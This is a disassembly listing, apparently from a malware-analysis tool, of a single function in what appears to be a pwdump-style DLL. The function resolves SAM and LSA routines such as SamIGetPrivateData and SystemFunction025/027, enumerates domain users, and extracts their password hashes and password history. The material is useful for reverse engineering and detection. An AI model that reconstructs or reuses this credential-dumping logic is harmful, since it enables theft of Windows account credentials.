Function at 0x100015f0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4ac
mov eax, dword [0x1000e004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
xor eax, eax
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 8]
push edi
mov dword [ebp - 0x46c], eax
mov dword [ebp - 0x45c], eax
mov dword [ebp - 0x454], eax
mov dword [ebp - 0x44c], eax
mov dword [ebp - 0x48c], eax
mov dword [ebp - 0x448], eax
mov dword [ebp - 0x47c], eax
mov dword [ebp - 0x478], eax
mov dword [ebp - 0x468], 1
call fcn.100011d0
add esp, 4
test eax, eax
je 0x10001d3e
push str.Starting...
call fcn.100012c0
push edi
push str.Using_pipe__s
call fcn.100012c0
push esi
push str.Key_length_is__d
call fcn.100012c0
push esi
call fcn.100020dd
push esi
push ebx
push eax
mov dword [0x1000edf0], eax
call fcn.10002260
add esp, 0x24
cmp dword [ebp + 0x14], 0
je 0x100016a2
mov dword [section..data], 0
mov eax, dword [0x1000edf0]
push esi
push eax
push 0x1000fa80
call fcn.10001090
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 0xc
push str.samsrv.dll
call esi
mov ebx, eax
push str.advapi32.dll
mov dword [ebp - 0x47c], ebx
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.SamIConnect
mov edi, eax
push ebx
mov dword [ebp - 0x478], edi
call esi
push str.SamrOpenDomain
push ebx
mov dword [0x1000edc0], eax
call esi
push str.SamrOpenUser
push ebx
mov dword [0x1000edc4], eax
call esi
push str.SamrQueryInformationUser
push ebx
mov dword [0x1000edc8], eax
call esi
push str.SamrEnumerateUsersInDomain
push ebx
mov dword [0x1000edcc], eax
call esi
push str.SamIFree_SAMPR_USER_INFO_BUFFER
push ebx
mov dword [0x1000edd0], eax
call esi
push str.SamIFree_SAMPR_ENUMERATION_BUFFER
push ebx
mov dword [0x1000edd4], eax
call esi
push str.SamrCloseHandle
push ebx
mov dword [0x1000edd8], eax
call esi
push str.SamIGetPrivateData
push ebx
mov dword [0x1000eddc], eax
call esi
push str.SystemFunction025
push edi
mov dword [0x1000ede0], eax
call esi
push str.SystemFunction027
push edi
mov dword [0x1000ede4], eax
call esi
xor ebx, ebx
mov dword [0x1000ede8], eax
cmp dword [0x1000edc0], ebx
je 0x10001d31
cmp dword [0x1000edc4], ebx
je 0x10001d31
cmp dword [0x1000edc8], ebx
je 0x10001d31
cmp dword [0x1000edcc], ebx
je 0x10001d31
cmp dword [0x1000edd0], ebx
je 0x10001d31
cmp dword [0x1000edd4], ebx
je 0x10001d31
cmp dword [0x1000edd8], ebx
je 0x10001d31
cmp dword [0x1000eddc], ebx
je 0x10001d31
cmp dword [0x1000ede0], ebx
je 0x100017e5
cmp dword [0x1000ede4], ebx
je 0x100017e5
cmp eax, ebx
jne 0x100017f8
push str.No_pw_hist
call fcn.100012c0
add esp, 4
mov dword [section..data], ebx
lea ecx, [ebp - 0x46c]
push ecx
xor eax, eax
push 0xf0fff
lea edx, [ebp - 0x4ac]
push edx
mov dword [ebp - 0x4ac], eax
push ebx
mov dword [ebp - 0x4a8], eax
mov dword [ebp - 0x4a4], eax
mov dword [ebp - 0x4a0], eax
mov dword [ebp - 0x49c], eax
mov dword [ebp - 0x498], eax
mov dword [ebp - 0x4ac], 0x18
call sub.ADVAPI32.dll_LsaOpenPolicy
cmp eax, ebx
jge 0x10001858
push eax
push str.Error_1:_0x_08x
call fcn.100012c0
add esp, 8
jmp 0x10001d3e
mov ecx, dword [ebp - 0x46c]
lea eax, [ebp - 0x484]
push eax
push 5
push ecx
call sub.ADVAPI32.dll_LsaQueryInformationPolicy
cmp eax, ebx
jge 0x10001884
push eax
push str.Error_2:_0x_08x
call fcn.100012c0
add esp, 8
jmp 0x10001d3e
push 1
push 0x2000000
lea edx, [ebp - 0x45c]
push edx
push ebx
call dword [0x1000edc0]
cmp eax, ebx
jge 0x100018b0
push eax
push str.Error_3:_0x_08x
call fcn.100012c0
add esp, 8
jmp 0x10001d3e
mov ecx, dword [ebp - 0x484]
mov edx, dword [ecx + 8]
lea eax, [ebp - 0x454]
push eax
mov eax, dword [ebp - 0x45c]
push edx
push 0xf07ff
push eax
call dword [0x1000edc4]
mov esi, eax
cmp esi, ebx
jge 0x100018f2
push esi
push str.Error_4:_0x_08x
call fcn.100012c0
add esp, 8
mov dword [ebp - 0x454], ebx
jmp 0x10001d3e
lea ecx, [ebp - 0x470]
push ecx
mov ecx, dword [ebp - 0x454]
push 0x3e8
lea edx, [ebp - 0x448]
push edx
push ebx
lea eax, [ebp - 0x48c]
push eax
push ecx
call dword [0x1000edd0]
mov edi, eax
mov dword [ebp - 0x490], edi
cmp edi, ebx
je 0x10001932
cmp edi, 0x105
jne 0x10001d21
mov dword [ebp - 0x474], ebx
cmp dword [ebp - 0x470], ebx
jle 0x10001cfa
jmp 0x10001950
xor esi, esi
push 0x100
lea edx, [ebp - 0x244]
push esi
push edx
mov dword [ebp - 0x450], esi
call fcn.10001f60
push 0x100
lea eax, [ebp - 0x444]
push esi
push eax
call fcn.10001f60
push 0x40
lea ecx, [ebp - 0x44]
push esi
push ecx
call fcn.10001f60
mov eax, dword [ebp - 0x448]
mov ecx, dword [eax + 4]
mov eax, dword [ebp - 0x454]
add esp, 0x24
lea edx, [ebp - 0x44c]
push edx
mov edx, dword [ecx + ebx]
push edx
push 0x2000000
push eax
call dword [0x1000edc8]
mov dword [ebp - 0x458], eax
cmp eax, esi
jge 0x100019ce
push eax
push str.Error_5:_0x_08x
call fcn.100012c0
add esp, 8
jmp 0x10001cd6
mov edx, dword [ebp - 0x44c]
lea ecx, [ebp - 0x450]
push ecx
push 0x12
push edx
call dword [0x1000edcc]
mov dword [ebp - 0x458], eax
cmp eax, esi
jge 0x10001a0e
push eax
push str.Error_6:_0x_08x
call fcn.100012c0
add esp, 8
lea eax, [ebp - 0x44c]
push eax
call dword [0x1000eddc]
jmp 0x10001cd0
mov ecx, dword [ebp - 0x448]
mov edx, dword [ecx + 4]
movzx eax, word [ebx + edx + 4]
mov edx, eax
and edx, 0xfffe
mov edi, 0x200
cmp di, dx
jae 0x10001a35
mov eax, 0x100
jmp 0x10001a37
shr eax, 1
push eax
mov dword [ebp - 0x460], eax
mov eax, dword [ecx + 4]
mov ecx, dword [ebx + eax + 8]
push ecx
lea edx, [ebp - 0x444]
push 0x100
push edx
call fcn.10002192
add esp, 0x10
test eax, eax
je 0x10001a77
xor eax, eax
movzx ecx, word [eax + str.PwDumpError]
mov word [ebp + eax - 0x444], cx
add eax, 2
cmp cx, si
jne 0x10001a60
mov eax, dword [ebp - 0x448]
mov ecx, dword [eax + 4]
mov edx, dword [ecx + ebx]
push edx
lea eax, [ebp - 0x444]
push eax
push str._s:_d
push 0x100
lea ecx, [ebp - 0x244]
push 0x100
push ecx
call fcn.10002171
add esp, 0x18
test eax, eax
jg 0x10001ac7
xor eax, eax
nop
movzx ecx, word [eax + str.PwDumpError:999999]
mov word [ebp + eax - 0x244], cx
add eax, 2
cmp cx, si
jne 0x10001ab0
mov esi, dword [ebp - 0x450]
lea edx, [ebp - 0x244]
push edx
lea eax, [ebp - 0x44]
mov ecx, 8
lea edi, [ebp - 0x44]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.100013d0
mov ecx, dword [ebp - 0x450]
add esp, 8
push 0x12
push ecx
call dword [0x1000edd4]
xor esi, esi
mov dword [ebp - 0x450], esi
mov dword [ebp - 0x488], 2
mov dword [ebp - 0x494], esi
mov dword [ebp - 0x460], esi
cmp dword [section..data], esi
je 0x10001cbd
push 0x40
lea edx, [ebp - 0x44]
push esi
push edx
call fcn.10001f60
add esp, 0xc
lea eax, [ebp - 0x450]
push eax
lea ecx, [ebp - 0x460]
push ecx
mov ecx, dword [ebp - 0x44c]
lea edx, [ebp - 0x494]
push edx
lea eax, [ebp - 0x488]
push eax
push ecx
call dword [0x1000ede0]
mov dword [ebp - 0x458], eax
cmp eax, esi
jne 0x10001cbd
mov ecx, dword [ebp - 0x460]
cmp ecx, 0x3c
jbe 0x10001cbd
mov edi, dword [ebp - 0x450]
movzx eax, byte [edi + 0x3c]
mov esi, eax
shr esi, 4
mov dword [ebp - 0x480], eax
cmp esi, 1
jbe 0x10001ca6
add eax, 0x64
cmp ecx, eax
jbe 0x10001ca6
mov dword [ebp - 0x464], esi
cmp esi, 1
jle 0x10001ca6
mov eax, dword [ebp - 0x448]
mov ecx, dword [eax + 4]
lea edx, [ebp - 0x44]
push edx
add ecx, ebx
add edi, 0x10
push ecx
lea edx, [edi + 0x44]
push edx
call dword [0x1000ede4]
mov dword [ebp - 0x458], eax
test eax, eax
jne 0x10001ca0
mov ecx, dword [ebp - 0x448]
mov edx, dword [ecx + 4]
lea eax, [ebp - 0x34]
push eax
mov eax, dword [ebp - 0x480]
add edx, ebx
push edx
lea ecx, [eax + edi + 0x44]
push ecx
call dword [0x1000ede8]
mov dword [ebp - 0x458], eax
test eax, eax
jne 0x10001ca0
push 0x200
push eax
lea edx, [ebp - 0x244]
push edx
call fcn.10001f60
mov eax, dword [ebp - 0x448]
mov ecx, dword [eax + 4]
mov edx, dword [ecx + ebx]
push edx
mov eax, esi
sub eax, dword [ebp - 0x464]
lea ecx, [ebp - 0x444]
push eax
push ecx
push str._s_history__d:_d
push 0x100
lea edx, [ebp - 0x244]
push 0x100
push edx
call fcn.10002171
add esp, 0x28
test eax, eax
jg 0x10001c77
xor eax, eax
lea ecx, [ecx]
movzx ecx, word [eax + str.PwDumpError:999999]
mov word [ebp + eax - 0x244], cx
add eax, 2
test cx, cx
jne 0x10001c60
lea eax, [ebp - 0x244]
push eax
lea ecx, [ebp - 0x44]
push ecx
call fcn.100013d0
mov eax, dword [ebp - 0x464]
dec eax
add esp, 8
mov dword [ebp - 0x464], eax
cmp eax, 1
jg 0x10001bb0
mov edi, dword [ebp - 0x450]
test edi, edi
je 0x10001cb1
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [ebp - 0x450], 0
xor esi, esi
lea edx, [ebp - 0x44c]
push edx
call dword [0x1000eddc]
mov edi, dword [ebp - 0x490]
mov dword [ebp - 0x44c], esi
mov eax, dword [ebp - 0x474]
inc eax
add ebx, 0xc
mov dword [ebp - 0x474], eax
cmp eax, dword [ebp - 0x470]
jl 0x10001950
mov esi, dword [ebp - 0x458]
xor ebx, ebx
mov eax, dword [ebp - 0x448]
push eax
call dword [0x1000edd8]
mov dword [ebp - 0x448], ebx
cmp edi, 0x105
je 0x100018f2
mov dword [ebp - 0x468], ebx
jmp 0x10001d3e
push esi
push str.Error_7:_0x_08x
call fcn.100012c0
add esp, 8
jmp 0x10001d3e
push str.Target:_Failed_to_load_primary_SAM_functions.
call fcn.100012c0
add esp, 4
call fcn.100015a0
mov eax, dword [0x1000edec]
test eax, eax
je 0x10001d58
cmp eax, 0xffffffff
je 0x10001d58
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x44c], 0
je 0x10001d6e
lea ecx, [ebp - 0x44c]
push ecx
call dword [0x1000eddc]
cmp dword [ebp - 0x454], 0
je 0x10001d84
lea edx, [ebp - 0x454]
push edx
call dword [0x1000eddc]
cmp dword [ebp - 0x45c], 0
je 0x10001d9a
lea eax, [ebp - 0x45c]
push eax
call dword [0x1000eddc]
mov eax, dword [ebp - 0x46c]
test eax, eax
je 0x10001daa
push eax
call sub.ADVAPI32.dll_LsaClose
mov eax, dword [ebp - 0x47c]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test eax, eax
je 0x10001dbd
push eax
call esi
mov eax, dword [ebp - 0x478]
test eax, eax
je 0x10001dca
push eax
call esi
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x468]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001f4c
mov esp, ebp
pop ebp
ret